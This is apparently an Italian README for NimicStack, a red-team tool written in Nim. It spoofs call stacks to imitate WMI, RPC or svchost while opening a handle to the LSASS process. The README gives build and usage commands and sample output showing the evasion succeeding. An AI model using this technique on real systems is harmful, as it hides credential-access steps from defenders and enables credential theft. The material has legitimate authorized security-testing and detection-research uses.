
NimicStack is the pure Nim implementation of Call Stack Spoofing technique to mimic legitimate programs
NimicStack è l'implementazione in puro Nim della tecnica di Call Stack Spoofing per imitare programmi legittimi. L'intero progetto si basa sulla PoC condivisa da WithSecure Labs
Puoi compilare direttamente il codice sorgente con il seguente comando:
nim c -d=mingw --app=console --cpu=amd64 -o:NimicStack.exe .\Main.nim
Nel caso in cui si riceva l'errore "cannot open file", è necessario installare anche le dipendenze richieste:
nimble install ptr_math winim
Come il progetto di riferimento, NimicStack può imitare tre esempi di call stack: WMI, RPC e Svchost, durante l'apertura del processo LSASS.
.\NimicStack.exe <--wmi, --rpc, --svchost>
Output di esempio per la call stack WMI imitata:
PS C:\Users\test\Desktop\NimicStack> .\NimicStack.exe --wmi
███╗ ██╗██╗███╗ ███╗██╗ ██████╗███████╗████████╗ █████╗ ██████╗██╗ ██╗
████╗ ██║██║████╗ ████║██║██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝
██╔██╗ ██║██║██╔████╔██║██║██║ ███████╗ ██║ ███████║██║ █████╔╝
██║╚██╗██║██║██║╚██╔╝██║██║██║ ╚════██║ ██║ ██╔══██║██║ ██╔═██╗
██║ ╚████║██║██║ ╚═╝ ██║██║╚██████╗███████║ ██║ ██║ ██║╚██████╗██║ ██╗
╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝╚═╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝
@R0h1rr1m
[+] wmi frame is selected!
[+] Required libraries were imported for return address calculation!
[+] SeDebugPrivilege is enabled!
[+] Fake Call Stack was created!
[+] Trying to find LSASS pid...
[+] LSASS pid found!: 756
[+] Registers were set for NtOpenProcess call!
[+] VEH callback was set for the suspended thread!
[+] Thread is resuming...
[+] VEH callback was called!
[+] Redirecting thread to RtlExitUserThread...
[+] Spoof is successful! Handle is 356
[+] You can check the spoofed call stack from Sysmon!
E l'output di Sysmon per questa chiamata:
Solo per test di sicurezza autorizzati. L'uso improprio di questo strumento su sistemi senza esplicita autorizzazione è illegale.